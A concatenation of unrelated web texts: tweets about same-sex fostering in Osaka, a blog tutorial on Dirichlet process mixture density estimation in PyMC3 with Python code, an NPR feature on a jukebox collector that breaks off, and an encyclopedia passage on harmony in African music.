When I see tweets that mix up same-sex foster[ing] with adoption, I want to point out that fostering lasts until (the child) is 18 years old. The foster child is not entered on the family register (and therefore in Japan is not legally recognized as part of the family). Anyway, I think it's great that the child can be part of a loving family, whether it be male parents or female parents, until they reach the age of 18.
There are a number of opinions that say that, because of Osaka's decision to recognize same-sex couples as parents that the children should be pitied. However I think that whoever is fostered by the two men will say someday they had a happy life (as a child). It doesn't matter what anybody else says, the most important thing is that the kids will be taken care of with love. Nobody should take pity on (these children fostered by same-sex couples).
Following the announcement by the city of Osaka, the term “Chocolate Doughnuts” (チョコレートドーナツ) — the title of the Japanese release of the 2012 movie Any Day Now that tells the story of a same-sex couple fighting for custody of a youth living with Downs syndrome — trended on Twitter as well:
Since same-sex foster parents have become a topic in the news, I highly recommend the movie ‘Any Day Now’. It's the story of two men who foster a teen with Downs Syndrome. However, because the two men are gay, the boy is taken from them. They don't give up, and fight to be able to care for the boy. It's a real tear-jerker and I recommend everyone see it just once.
The Twitter account that promoted the release of the movie in Japan also commented on the decision by the city of Osaka:Density Estimation with Dirichlet Process Mixtures using PyMC3 Posted on February 25, 2016
I have been intrigued by the flexibility of nonparametric statistics for many years. As I have developed an understanding and appreciation of Bayesian modeling both personally and professionally over the last two or three years, I naturally developed an interest in Bayesian nonparametric statistics. I am pleased to begin a planned series of posts on Bayesian nonparametrics with this post on Dirichlet process mixtures for density estimation.
Dirichlet processes
The Dirichlet process is a flexible probability distribution over the space of distributions. Most generally, a probability distribution, \(P\), on a set \(\Omega\) is a measure that assigns measure one to the entire space (\(P(\Omega) = 1\)). A Dirichlet process \(P \sim \textrm{DP}(\alpha, P_0)\) is a measure that has the property that, for every finite disjoint partition \(S_1, \ldots, S_n\) of \(\Omega\),
\[(P(S_1), \ldots, P(S_n)) \sim \textrm{Dir}(\alpha P_0(S_1), \ldots, \alpha P_0(S_n)).\]
Here \(P_0\) is the base probability measure on the space \(\Omega\). The precision parameter \(\alpha > 0\) controls how close samples from the Dirichlet process are to the base measure, \(P_0\). As \(\alpha \to \infty\), samples from the Dirichlet process approach the base measure \(P_0\).
Dirichlet processes have several properties that make then quite suitable to MCMC simulation.
The posterior given i.i.d. observations \(\omega_1, \ldots, \omega_n\) from a Dirichlet process \(P \sim \textrm{DP}(\alpha, P_0)\) is also a Dirichlet process with \[P\ |\ \omega_1, \ldots, \omega_n \sim \textrm{DP}\left(\alpha + n, \frac{\alpha}{\alpha + n} P_0 + \frac{1}{\alpha + n} \sum_{i = 1}^n \delta_{\omega_i}\right),\]
where \(\delta\) is the Dirac delta measure
\[\begin{align*} \delta_{\omega}(S) & = \begin{cases} 1 & \textrm{if } \omega \in S \\ 0 & \textrm{if } \omega
ot \in S \end{cases} \end{align*}.\]
The posterior predictive distribution of a new observation is a compromise between the base measure and the observations, \[\omega\ |\ \omega_1, \ldots, \omega_n \sim \frac{\alpha}{\alpha + n} P_0 + \frac{1}{\alpha + n} \sum_{i = 1}^n \delta_{\omega_i}.\]
We see that the prior precision \(\alpha\) can naturally be interpreted as a prior sample size. The form of this posterior predictive distribution also lends itself to Gibbs sampling.
Samples, \(P \sim \textrm{DP}(\alpha, P_0)\), from a Dirichlet process are discrete with probability one. That is, there are elements \(\omega_1, \omega_2, \ldots\) in \(\Omega\) and weights \(w_1, w_2, \ldots\) with \(\sum_{i = 1}^{\infty} w_i = 1\) such that \[P = \sum_{i = 1}^\infty w_i \delta_{\omega_i}.\] The stick-breaking process gives an explicit construction of the weights \(w_i\) and samples \(\omega_i\) above that is straightforward to sample from. If \(\beta_1, \beta_2, \ldots \sim \textrm{Beta}(1, \alpha)\), then \(w_i = \beta_i \prod_{j = 1}^{j - 1} (1 - \beta_j)\). The relationship between this representation and stick breaking may be illustrated as follows: Start with a stick of length one. Break the stick into two portions, the first of proportion \(w_1 = \beta_1\) and the second of proportion \(1 - w_1\). Further break the second portion into two portions, the first of proportion \(\beta_2\) and the second of proportion \(1 - \beta_2\). The length of the first portion of this stick is \(\beta_2 (1 - \beta_1)\) ; the length of the second portion is \((1 - \beta_1) (1 - \beta_2)\). Continue breaking the second portion from the previous break in this manner forever. If \(\omega_1, \omega_2, \ldots \sim P_0\), then \[P = \sum_{i = 1}^\infty w_i \delta_{\omega_i} \sim \textrm{DP}(\alpha, P_0).\]
We can use the stick-breaking process above to easily sample from a Dirichlet process in Python. For this example, \(\alpha = 2\) and the base distribution is \(N(0, 1)\).
% matplotlib inline
from __future__ import division
from matplotlib import pyplot as plt import numpy as np import pymc3 as pm import scipy as sp import seaborn as sns from statsmodels.datasets import get_rdataset from theano import tensor as T
Couldn't import dot_parser, loading of dot files will not be possible.
blue = sns.color_palette()[ 0 ]
np.random.seed( 462233 ) # from random.org
N = 20 K = 30 alpha = 2. P0 = sp.stats.norm
We draw and plot samples from the stick-breaking process.
beta = sp.stats.beta.rvs( 1, alpha, size = (N, K)) w = np.empty_like(beta) w[:, 0 ] = beta[:, 0 ] w[:, 1 :] = beta[:, 1 :] * ( 1 - beta[:, : - 1 ]).cumprod(axis = 1 ) omega = P0.rvs(size = (N, K)) x_plot = np.linspace( - 3, 3, 200 ) sample_cdfs = (w[..., np.newaxis] * np.less.outer(omega, x_plot)). sum (axis = 1 )
fig, ax = plt.subplots(figsize = ( 8, 6 )) ax.plot(x_plot, sample_cdfs[ 0 ], c = 'gray', alpha = 0.75, label = 'DP sample CDFs' ) ; ax.plot(x_plot, sample_cdfs[ 1 :].T, c = 'gray', alpha = 0.75 ) ; ax.plot(x_plot, P0.cdf(x_plot), c = 'k', label = 'Base CDF' ) ; ax.set_title( r'$\alpha = {} $'. format (alpha)) ; ax.legend(loc = 2 ) ;
As stated above, as \(\alpha \to \infty\), samples from the Dirichlet process converge to the base distribution.
fig, (l_ax, r_ax) = plt.subplots(ncols = 2, sharex = True, sharey = True, figsize = ( 16, 6 )) K = 50 alpha = 10. beta = sp.stats.beta.rvs( 1, alpha, size = (N, K)) w = np.empty_like(beta) w[:, 0 ] = beta[:, 0 ] w[:, 1 :] = beta[:, 1 :] * ( 1 - beta[:, : - 1 ]).cumprod(axis = 1 ) omega = P0.rvs(size = (N, K)) sample_cdfs = (w[..., np.newaxis] * np.less.outer(omega, x_plot)). sum (axis = 1 ) l_ax.plot(x_plot, sample_cdfs[ 0 ], c = 'gray', alpha = 0.75, label = 'DP sample CDFs' ) ; l_ax.plot(x_plot, sample_cdfs[ 1 :].T, c = 'gray', alpha = 0.75 ) ; l_ax.plot(x_plot, P0.cdf(x_plot), c = 'k', label = 'Base CDF' ) ; l_ax.set_title( r'$\alpha = {} $'. format (alpha)) ; l_ax.legend(loc = 2 ) ; K = 200 alpha = 50. beta = sp.stats.beta.rvs( 1, alpha, size = (N, K)) w = np.empty_like(beta) w[:, 0 ] = beta[:, 0 ] w[:, 1 :] = beta[:, 1 :] * ( 1 - beta[:, : - 1 ]).cumprod(axis = 1 ) omega = P0.rvs(size = (N, K)) sample_cdfs = (w[..., np.newaxis] * np.less.outer(omega, x_plot)). sum (axis = 1 ) r_ax.plot(x_plot, sample_cdfs[ 0 ], c = 'gray', alpha = 0.75, label = 'DP sample CDFs' ) ; r_ax.plot(x_plot, sample_cdfs[ 1 :].T, c = 'gray', alpha = 0.75 ) ; r_ax.plot(x_plot, P0.cdf(x_plot), c = 'k', label = 'Base CDF' ) ; r_ax.set_title( r'$\alpha = {} $'. format (alpha)) ; r_ax.legend(loc = 2 ) ;
Dirichlet process mixtures
For the task of density estimation, the (almost sure) discreteness of samples from the Dirichlet process is a significant drawback. This problem can be solved with another level of indirection by using Dirichlet process mixtures for density estimation. A Dirichlet process mixture uses component densities from a parametric family \(\mathcal{F} = \{f_{\theta}\ |\ \theta \in \Theta\}\) and represents the mixture weights as a Dirichlet process. If \(P_0\) is a probability measure on the parameter space \(\Theta\), a Dirichlet process mixture is the hierarchical model
\[ \begin{align*} x_i\ |\ \theta_i & \sim f_{\theta_i} \\ \theta_1, \ldots, \theta_n & \sim P \\ P & \sim \textrm{DP}(\alpha, P_0). \end{align*} \]
To illustrate this model, we simulate draws from a Dirichlet process mixture with \(\alpha = 2\), \(\theta \sim N(0, 1)\), \(x\ |\ \theta \sim N(\theta, (0.3)^2)\).
N = 5 K = 30 alpha = 2 P0 = sp.stats.norm f = lambda x, theta: sp.stats.norm.pdf(x, theta, 0.3 )
beta = sp.stats.beta.rvs( 1, alpha, size = (N, K)) w = np.empty_like(beta) w[:, 0 ] = beta[:, 0 ] w[:, 1 :] = beta[:, 1 :] * ( 1 - beta[:, : - 1 ]).cumprod(axis = 1 ) theta = P0.rvs(size = (N, K)) dpm_pdf_components = f(x_plot[np.newaxis, np.newaxis, :], theta[..., np.newaxis]) dpm_pdfs = (w[..., np.newaxis] * dpm_pdf_components). sum (axis = 1 )
fig, ax = plt.subplots(figsize = ( 8, 6 )) ax.plot(x_plot, dpm_pdfs.T, c = 'gray' ) ; ax.set_yticklabels([]) ;
We now focus on a single mixture and decompose it into its individual (weighted) mixture components.
fig, ax = plt.subplots(figsize = ( 8, 6 )) ix = 1 ax.plot(x_plot, dpm_pdfs[ix], c = 'k', label = 'Density' ) ; ax.plot(x_plot, (w[..., np.newaxis] * dpm_pdf_components)[ix, 0 ], '--', c = 'k', label = 'Mixture components (weighted)' ) ; ax.plot(x_plot, (w[..., np.newaxis] * dpm_pdf_components)[ix].T, '--', c = 'k' ) ; ax.set_yticklabels([]) ; ax.legend(loc = 1 ) ;
Sampling from these stochastic processes is fun, but these ideas become truly useful when we fit them to data. The discreteness of samples and the stick-breaking representation of the Dirichlet process lend themselves nicely to Markov chain Monte Carlo simulation of posterior distributions. We will perform this sampling using pymc3.
Our first example uses a Dirichlet process mixture to estimate the density of waiting times between eruptions of the Old Faithful geyser in Yellowstone National Park.
old_faithful_df = get_rdataset( 'faithful', cache = True ).data[[ 'waiting' ]]
For convenience in specifying the prior, we standardize the waiting time between eruptions.
old_faithful_df['std_waiting' ] = (old_faithful_df.waiting - old_faithful_df.waiting.mean()) / old_faithful_df.waiting.std()
old_faithful_df.head()
waiting std_waiting 0 79 0.596025 1 54 -1.242890 2 74 0.228242 3 62 -0.654437 4 85 1.037364
fig, ax = plt.subplots(figsize = ( 8, 6 )) n_bins = 20 ax.hist(old_faithful_df.std_waiting, bins = n_bins, color = blue, lw = 0, alpha = 0.5 ) ; ax.set_xlabel( 'Standardized waiting time between eruptions' ) ; ax.set_ylabel( 'Number of eruptions' ) ;
Observant readers will have noted that we have not been continuing the stick-breaking process indefinitely as indicated by its definition, but rather have been truncating this process after a finite number of breaks. Obviously, when computing with Dirichlet processes, it is necessary to only store a finite number of its point masses and weights in memory. This restriction is not terribly onerous, since with a finite number of observations, it seems quite likely that the number of mixture components that contribute non-neglible mass to the mixture will grow slower than the number of samples. This intuition can be formalized to show that the (expected) number of components that contribute non-negligible mass to the mixture approaches \(\alpha \log N\), where \(N\) is the sample size.
There are various clever Gibbs sampling techniques for Dirichlet processes that allow the number of components stored to grow as needed. Stochastic memoization is another powerful technique for simulating Dirichlet processes while only storing finitely many components in memory. In this introductory post, we take the much less sophistocated approach of simple truncating the Dirichlet process components that are stored after a fixed number, \(K\), of components. Importantly, this approach is compatible with some of pymc3 ’s (current) technical limitations. Ohlssen, et al. provide justification for truncation, showing that \(K > 5 \alpha + 2\) is most likely sufficient to capture almost all of the mixture weights (\(\sum_{i = 1}^{K} w_i > 0.99\)). We can practically verify the suitability of our truncated approximation to the Dirichlet process by checking the number of components that contribute non-negligible mass to the mixture. If, in our simulations, all components contribute non-negligible mass to the mixture, we have truncated our Dirichlet process too early.
Our Dirichlet process mixture model for the standardized waiting times is
\[ \begin{align*} x_i\ |\ \mu_i, \lambda_i, \tau_i & \sim N\left(\mu, (\lambda_i \tau_i)^{-1}\right) \\ \mu_i\ |\ \lambda_i, \tau_i & \sim N\left(0, (\lambda_i \tau_i)^{-1}\right) \\ (\lambda_1, \tau_1), (\lambda_2, \tau_2), \ldots & \sim P \\ P & \sim \textrm{DP}(\alpha, U(0, 5) \times \textrm{Gamma}(1, 1)) \\ \alpha & \sim \textrm{Gamma}(1, 1). \end{align*} \]
Note that instead of fixing a value of \(\alpha\), as in our previous simulations, we specify a prior on \(\alpha\), so that we may learn its posterior distribution from the observations. This model is therefore actually a mixture of Dirichlet process mixtures, since each fixed value of \(\alpha\) results in a Dirichlet process mixture.
We now construct this model using pymc3.
N = old_faithful_df.shape[ 0 ] K = 30
with pm.Model() as model: alpha = pm.Gamma( 'alpha', 1., 1.) beta = pm.Beta( 'beta', 1., alpha, shape = K) w = pm.Deterministic( 'w', beta * T.concatenate([[ 1 ], T.extra_ops.cumprod( 1 - beta)[: - 1 ]])) component = pm.Categorical( 'component', w, shape = N) tau = pm.Gamma( 'tau', 1., 1., shape = K) lambda_ = pm.Uniform( 'lambda', 0, 5, shape = K) mu = pm.Normal('mu', 0, lambda_ * tau, shape = K) obs = pm.Normal( 'obs', mu[component], lambda_[component] * tau[component], observed = old_faithful_df.std_waiting.values)
Applied log-transform to alpha and added transformed alpha_log to model. Applied logodds-transform to beta and added transformed beta_logodds to model. Applied log-transform to tau and added transformed tau_log to model. Applied interval-transform to lambda and added transformed lambda_interval to model.
We sample from the posterior distribution 20,000 times, burn the first 10,000 samples, and thin to every tenth sample.
with model: step1 = pm.Metropolis( vars = [alpha, beta, w, lambda_, tau, mu, obs]) step2 = pm.ElemwiseCategoricalStep([component], np.arange(K)) trace_ = pm.sample( 20000, [step1, step2]) trace = trace_[ 10000 :: 10 ]
[-----------------100%-----------------] 20000 of 20000 complete in 139.3 sec
The posterior distribution of \(\alpha\) is concentrated between 0.4 and 1.75.
pm.traceplot(trace, varnames = [ 'alpha' ]) ;
To verify that our truncation point is not biasing our results, we plot the distribution of the number of mixture components used.
n_components_used = np.apply_along_axis( lambda x: np.unique(x).size, 1, trace[ 'component' ])
fig, ax = plt.subplots(figsize = ( 8, 6 )) bins = np.arange(n_components_used. min (), n_components_used. max () + 1 ) ax.hist(n_components_used + 1, bins = bins, normed = True, lw = 0, alpha = 0.75 ) ; ax.set_xticks(bins + 0.5 ) ; ax.set_xticklabels(bins) ; ax.set_xlim(bins. min (), bins. max () + 1 ) ; ax.set_xlabel( 'Number of mixture components used' ) ; ax.set_ylabel( 'Posterior probability' ) ;
We see that the vast majority of samples use five mixture components, and the largest number of mixture components used by any sample is eight. Since we truncated our Dirichlet process mixture at thirty components, we can be quite sure that truncation did not bias our results.
We now compute and plot our posterior density estimate.
post_pdf_contribs = sp.stats.norm.pdf(np.atleast_3d(x_plot), trace['mu' ][:, np.newaxis, :], 1. / np.sqrt(trace[ 'lambda' ] * trace[ 'tau' ])[:, np.newaxis, :]) post_pdfs = (trace[ 'w' ][:, np.newaxis, :] * post_pdf_contribs). sum (axis =- 1 ) post_pdf_low, post_pdf_high = np.percentile(post_pdfs, [ 2.5, 97.5 ], axis = 0 )
fig, ax = plt.subplots(figsize = ( 8, 6 )) n_bins = 20 ax.hist(old_faithful_df.std_waiting.values, bins = n_bins, normed = True, color = blue, lw = 0, alpha = 0.5 ) ; ax.fill_between(x_plot, post_pdf_low, post_pdf_high, color = 'gray', alpha = 0.45 ) ; ax.plot(x_plot, post_pdfs[ 0 ], c = 'gray', label = 'Posterior sample densities' ) ; ax.plot(x_plot, post_pdfs[:: 100 ].T, c = 'gray' ) ; ax.plot(x_plot, post_pdfs.mean(axis = 0 ), c = 'k', label = 'Posterior expected density' ) ; ax.set_xlabel( 'Standardized waiting time between eruptions' ) ; ax.set_yticklabels([]) ; ax.set_ylabel( 'Density' ) ; ax.legend(loc = 2 ) ;
As above, we can decompose this density estimate into its (weighted) mixture components.
fig, ax = plt.subplots(figsize = ( 8, 6 )) n_bins = 20 ax.hist(old_faithful_df.std_waiting.values, bins = n_bins, normed = True, color = blue, lw = 0, alpha = 0.5 ) ; ax.plot(x_plot, post_pdfs.mean(axis = 0 ), c = 'k', label = 'Posterior expected density' ) ; ax.plot(x_plot, (trace[ 'w' ][:, np.newaxis, :] * post_pdf_contribs).mean(axis = 0 )[:, 0 ], '--', c = 'k', label = 'Posterior expected mixture
components
(weighted)' ) ; ax.plot(x_plot, (trace[ 'w' ][:, np.newaxis, :] * post_pdf_contribs).mean(axis = 0 ), '--', c = 'k' ) ; ax.set_xlabel( 'Standardized waiting time between eruptions' ) ; ax.set_yticklabels([]) ; ax.set_ylabel( 'Density' ) ; ax.legend(loc = 2 ) ;
The Dirichlet process mixture model is incredibly flexible in terms of the family of parametric component distributions \(\{f_{\theta}\ |\ f_{\theta} \in \Theta\}\). We illustrate this flexibility below by using Poisson component distributions to estimate the density of sunspots per year.
sunspot_df = get_rdataset('sunspot.year', cache = True ).data
sunspot_df.head()
time sunspot.year 0 1700 5 1 1701 11 2 1702 16 3 1703 23 4 1704 36
For this problem, the model is
\[ \begin{align*} x_i\ |\ \lambda_i & \sim \textrm{Poisson}(\lambda_i) \\ \lambda_1, \lambda_2, \ldots & \sim P \\ P & \sim \textrm{DP}(\alpha, U(0, 300)) \\ \alpha & \sim \textrm{Gamma}(1, 1). \end{align*} \]
N = sunspot_df.shape[ 0 ] K = 30
with pm.Model() as model: alpha = pm.Gamma( 'alpha', 1., 1.) beta = pm.Beta( 'beta', 1, alpha, shape = K) w = pm.Deterministic( 'beta', beta * T.concatenate([[ 1 ], T.extra_ops.cumprod( 1 - beta[: - 1 ])])) component = pm.Categorical( 'component', w, shape = N) mu = pm.Uniform('mu', 0., 300., shape = K) obs = pm.Poisson( 'obs', mu[component], observed = sunspot_df['sunspot.year' ])
Applied log-transform to alpha and added transformed alpha_log to model. Applied logodds-transform to beta and added transformed beta_logodds to model. Applied interval-transform to mu and added transformed mu_interval to model.
with model: step1 = pm.Metropolis( vars = [alpha, beta, w, mu, obs]) step2 = pm.ElemwiseCategoricalStep([component], np.arange(K)) trace_ = pm.sample( 20000, [step1, step2])
[-----------------100%-----------------] 20000 of 20000 complete in 111.9 sec
trace = trace_[ 10000 :: 10 ]
For the sunspot model, the posterior distribution of \(\alpha\) is concentrated between one and three, indicating that we should expect more components to contribute non-negligible amounts to the mixture than for the Old Faithful waiting time model.
pm.traceplot(trace, varnames = [ 'alpha' ]) ;
Indeed, we see that there are (on average) about ten to fifteen components used by this model.
n_components_used = np.apply_along_axis( lambda x: np.unique(x).size, 1, trace[ 'component' ])
fig, ax = plt.subplots(figsize = ( 8, 6 )) bins = np.arange(n_components_used. min (), n_components_used. max () + 1 ) ax.hist(n_components_used + 1, bins = bins, normed = True, lw = 0, alpha = 0.75 ) ; ax.set_xticks(bins + 0.5 ) ; ax.set_xticklabels(bins) ; ax.set_xlim(bins. min (), bins. max () + 1 ) ; ax.set_xlabel( 'Number of mixture components used' ) ; ax.set_ylabel( 'Posterior probability' ) ;
We now calculate and plot the fitted density estimate.
x_plot = np.arange( 250 )
post_pmf_contribs = sp.stats.poisson.pmf(np.atleast_3d(x_plot), trace['mu' ][:, np.newaxis, :]) post_pmfs = (trace[ 'beta' ][:, np.newaxis, :] * post_pmf_contribs). sum (axis =- 1 ) post_pmf_low, post_pmf_high = np.percentile(post_pmfs, [ 2.5, 97.5 ], axis = 0 )
fig, ax = plt.subplots(figsize = ( 8, 6 )) ax.hist(sunspot_df['sunspot.year' ].values, bins = 40, normed = True, lw = 0, alpha = 0.75 ) ; ax.fill_between(x_plot, post_pmf_low, post_pmf_high, color = 'gray', alpha = 0.45 ) ax.plot(x_plot, post_pmfs[ 0 ], c = 'gray', label = 'Posterior sample densities' ) ; ax.plot(x_plot, post_pmfs[:: 200 ].T, c = 'gray' ) ; ax.plot(x_plot, post_pmfs.mean(axis = 0 ), c = 'k', label = 'Posterior expected density' ) ; ax.legend(loc = 1 ) ;
Again, we can decompose the posterior expected density into weighted mixture densities.
fig, ax = plt.subplots(figsize = ( 8, 6 )) ax.hist(sunspot_df['sunspot.year' ].values, bins = 40, normed = True, lw = 0, alpha = 0.75 ) ; ax.plot(x_plot, post_pmfs.mean(axis = 0 ), c = 'k', label = 'Posterior expected density' ) ; ax.plot(x_plot, (trace[ 'beta' ][:, np.newaxis, :] * post_pmf_contribs).mean(axis = 0 )[:, 0 ], '--', c = 'k', label = 'Posterior expected
mixture components
(weighted)' ) ; ax.plot(x_plot, (trace[ 'beta' ][:, np.newaxis, :] * post_pmf_contribs).mean(axis = 0 ), '--', c = 'k' ) ; ax.legend(loc = 1 ) ;
We have only scratched the surface in terms of applications of the Dirichlet process and Bayesian nonparametric statistics in general. This post is the first in a series I have planned on Bayesian nonparametrics, so stay tuned.
This post is available as an IPython notebook here.For Jukebox Salesman, Collecting Records Isn't Just A Job: It's A Hobby, Too
Enlarge this image toggle caption Carla Javier/NPR Carla Javier/NPR
Don Muller has so many jukeboxes in his house, he doesn't even know how many there are.
"I've never done this, walk around and count them," Muller says, as he begins counting a row of jukeboxes tucked under a shelf of records.
He walks through the add-on garage, porch, living room and foyer. So far, he's counted 62 jukeboxes, just in his own house — plus 40 in stock at his store, and plenty more in storage elsewhere.
"I've been telling people we have over a hundred," Muller says. "Now, I know it's even way more than that."
Most of these jukeboxes are part of his company, Jukeboxes Unlimited, which he's owned since 1971. He guts many of them to salvage their parts for assisting with repairs. Others, he fixes up to sell, while still others — the nicer looking ones, especially those that light up — he rents for parties and dances.
And some, Muller simply falls in love with and keeps for himself, like his 1948 Seeburg M100A. It sits in the corner of his living room at home.
"This machine is 100 percent original, every single aspect of it: the original cartridge, the original needle and original old 78 rpm records," he says before playing Frankie Lymon's "Goody Goody."
Enlarge this image toggle caption Carla Javier/NPR Carla Javier/NPR
Back when he got his start in the 1970s in Los Angeles, there were a lot of guys like him in the jukebox business — but he set himself apart by selling to the stars. His famous clients include Steve Martin and Mick Fleetwood, and their notes and copies of checks still fill books and albums of his. He even used to go to the Playboy Mansion to repair a jukebox owned by Hugh Hefner.
Muller, now 72, has seen many of his competitors go away. The |
ads throughout an entire piece are uncommon. Canonic imitation may occur in responsorial or antiphonal sections of African music as a result of the repetition of the first phrase or the introduction of new melodic material in the form of a refrain. The latter may involve a contrasting section or a completion of the original melody." —Karlton E. Hester[1]
Chordal relationships that occur as a result of the polyphony, homophonic parallelism and homophonic polyphony found in African music are not always 'functional' in the western musical sense. However, they accomplish the balance of tension-release and dissonance-consonance. In addition, they form varieties of chord combinations and clusters, as well as varying levels of harmonic patterning.
Scales [ edit ]
Anhemitonic pentatonic scale in descending order as conceptualized by African musicians
Chords are constructed from scales. Pentatonic and hexatonic scales are very common scales across Africa. Nonetheless, heptatonic scales can be found in abundance. Anhemitonic scales, equal heptatonic scales, and scales based on the selected use of partials are used in Africa as well. The same community that may use one set of instruments tuned to a certain scale (i.e. pentatonic), can use a different scale for a different set of instruments, or song type (i.e. heptatonic) (Gerhard Kubik[2][3][4])
In traditional African music, scales are practised and thought of as descending from top to bottom. African harmony is based on the scales being employed in a particular musical setting. Scales have a profound impact on the harmony because Africans modalize their music. Modalization is the process of applying modal concepts in a non-modal setting. African music uses recurring harmonic reference points as a means of musical organization. Therefore, African music is not modal or purely based on one mode. Nonetheless modal concepts are employed in African music. This predates exposure to western and Arab musics.
Principles [ edit ]
Homophonic parallelism and homophonic polyphony [ edit ]
Homophonic parallelism in a Traditional African context. Rhythm is simplified in this example. Parallelism in this example is based on thirds.
Homophonic parallelism is the harmonizing of a single melody, or subordinate melody and moving with it in parallel. This means the notes that harmonize the melody follow its characteristic shape and rhythm. This type of parallelism is common to all African peoples. The degree to which it is employed varies. It is important to note that parallelism in thirds (inversely tenths), fourths, fifths, and octaves (inversely unison) are pan-African methods of homophonic parallel harmonization. These intervals are interchanged depending on the melody they are accompanying and the scale source of the harmonization.
Homophonic polyphony occurs when two different melodies are harmonized in the style of homophonic parallelism, and either (1) occur simultaneously by means of overlapping antiphony or (2) over at the simultaneously as a result of melodic counterpoint.
This parallelism is not to be confused with strict parallelism. Gerhard Kubik[2] states that much variation and freedom is permitted in parallel parts, with the stipulation that words remain intelligible (or in the case of instruments the melody remains recognizable), and the scalar source is observed. The harmonic line harmonized normally moves by step rarely jumping beyond a fourth.
"A.M. Jones states that 'generally speaking all over the continent south of the Sahara, African harmony is in organum and is sung either in parallel fourths, parallel fifths, parallel octaves or parallel thirds.' Parallelism, however, is not without limitations. Melodic and scale considerations, as has been shown, are of primary importance in deciding what notes are employed in harmonizing tunes and, consequently, what intervals are formed. The adaptation of parallelism to fit melodic requirements is much more apparent in the music of those areas of Africa where the pentatonic scale is the norm. Kirby has shown how the demands of a pentatonic scale result in the employment of sixths in Bantu polyphony, where parallelism in fifths is the principle. He points out that the limitations of the pentatonic scale make for the awareness of other intervals instead of what apparently was the strict duplication of the melody at the same interval employed by early European musicians."—Lazarus Ekweme[5]
Secondary melody [ edit ]
The two measures on the left show the framework for chorus. This framework is the secondary melody that this chorus response is based on. The two measures on the right show the application of the span process in both the upward and downward direction on the secondary melody (counter melody). This example is in thirds.
The same secondary melody from the example above this time with the span process applied only in the upward direction.
The harmonization of a subordinate melody - be it responsoral or with regular repetitions within the cycle - is often based on a counter melody or secondary melody. From this melody the span process, pedal notes and other techniques can be used to for the harmony supporting the main melody.
Gerhard Kubik[2] notes "In the Ijesha multipart singing style the basic chorus phrase, to which harmonically parallel lines may be added above and below, is the one in the middle, standing at the same pitch level with the leader's phrase...The basic chorus line is the one with which the chorus member singing alone would invariably link 'in unison' with the leader's phrase. as other chorus members join in, more voices are then added above and below in intervals perceived as consonant. These additional voices are essentially euphoric in concept; they are equivalent to a basic one, but are only collaterally dependent on the voice of the leader".
Lazarus Ekweme[5] quotes J. H. Kwabena Nketia saying "In chorus response, there is primacy in the sense that one line is regarded as the basic melody. But the supporting line, by virtue of its running parallel to it, shares its characteristic progressions and is accordingly treated as a secondary melody. Indeed, when a cantor has to sing the chorus response, he may have the freedom of singing either of the two or of moving from one section to the other."
Secondary melody in this case refers to the voice harmonizing the chorus response. However, the chorus response is the secondary melody, which is harmonized. The harmonizing parts can vary just as the chorus response (or secondary melody) may vary. The added harmony part embellishes its own line as an independent melody, instead of following rigidly the intervocalic distance from the main chorus line in parallel movement.
The underlying concept is to create a melody and then a responsoral secondary melody. This secondary melodic line or phrase is then harmonized in parallel motion. The harmonic line harmonized normally moves by step rarely jumping beyond a fourth.
Musical instruments in traditional African music often serve as a modal and/or rhythmic support for vocal music. Instrumental Music can also be heard frequently without vocal music and to a lesser extent solo. Harmony produced through ostinato produced on instruments is common place. These ostinati can be varied, or embellished, but otherwise provide modal support. Ostinato used in African music is a principal means of polyphony although other procedures for producing polyphony exist. Arom Simha states "music in the Central African Republic, regardless of the kind of polyphony or polyrhythm that is practiced, always involves the principle of ostinato with variations."[6]
The principle of ostinato with variations is significant to African music and its polyphonic nature as most forms of traditional African polyphony are based on this principle. Simha continues "If one had to describe in a formula all the polyphonic and polyrhythmic procedures used in the Central African Republic, one might define them as ostinato (ostinati) with variations." The ostinato is normally used to create a modal pattern or background.
Arom Simha continues "This definition does not conflict with Western musicological definitions of the term. Thus Riemann defines ostinato as 'a technical term that describes the continual return of a theme surrounded by ever changing counterpoint [...] The great masters of the age of polyphony loved to write a whole mass or long motets on a single phrase constantly repeated by the tenor. But the repetitions are not always identical, and the little theme would appear in all sorts of modified forms' (Riemann 1931:953)."
Many African musics correspond exactly to this definition and are musical pieces based on a phrase, which reappears in varied and modified forms. These ostinato can be continuous or intermittent, vocal or instrumental, and may appear above or below the main line. Frequently in African music two or more ostinatos moving contrapuntally are employed, with or without a longer melodic line to create an orchestral texture (dense textures are desired and aimed for by both composers and performers alike). This type of polyphony is of the contrapuntal or horizontal type. In practice each ostinato moves in independent melodic and rhythmic patterns.
Cadences and chord structures [ edit ]
Chords are normally formed using one of two techniques: the span process or scalar clusters. These chords can be embellished as a result of variation in which any combination of notes permitted by the scale can be used in a chord. However, in common practice, chords are formed by harmonizing in 3rds, 4ths, 5ths, 6ths, etc. The type of chord formed depends on the scale system being used.
Recent research has shown that African music has chord progressions. Gerhard Kubik states "until recently, little attention has been paid to a further structuring element, namely, the tonal-harmonic segmentation of a cycle. In most African music, cycles are sub-divided into two, four or eight tonal-harmonic segments." (A theory of African music, Volume II, page 44, paragraph 5).
In addition, the use of the tritone interval for tension is common in Africa. Oluwaseyi Kehinde[7] notes "it is interesting that the interval of the tritone (augmented fourth or diminished fifth) is a salient feature in both vocal and instrumental music throughout Africa” (Karlton E. Hester and Francis Tovey use the same phrase to describe it). Gerhard Kubik in his article "bebop a case in point: the African matrix in Jazz harmonic practices"[4] and his book "Africa and the Blues"[8] echoes this point. This is significant to chords used as reference points or chord progressions in African musical structures.
Through the use of parallelism cadential patterns are inevitable. O.O. Bateye clarifies "The subdominant (plagal) cadence is (resulting from the frequent tendency toward parallelism in African music) the favored cadence and not the perfect cadence, which is the norm in classical western music...Cadential patterns are frequent in African music and invariably result as a consequence of melodic movement either by thirds, fourths, or fifths - that is as a consequence of what may be referred to as shadow harmony...A cadential descending minor third is frequently noted between the minor third step and the tonic (Reiser, 1982:122) in African music."[9] These cadential movements are made using the melody and the scale as the guiding factor.
He continues "T.K. Philips objects to the te-doh and fah-me cadences as being authentic for African music, but nevertheless, as has been pointed out, are a frequent occurrence in African music utilizing scales other than the pentatonic. It must also be noted that the presence of drones (see pedal notes below) is a common feature of African music."
African music whose scalar source for the harmony is based on anhemtonic (every note is consonant with every other note) pentatonic and hexatonic scalar sources, Targeting specific vertical structures in relation to the secondary melodic phrase being harmonized is not a concern although this does happen.
For scalar systems that are not anhemtonic, target chords or vertical structures that are targeted for resolution are common place. Although the arrangement of the notes may be altered and/or embellished notes viewed as dissonant traditionally will be omitted from that structure. In Harp music and xylophone music with 2 beaters these structures are dyads and are targeted for resolution by means of suspensions, anticipations, and other techniques of variation.
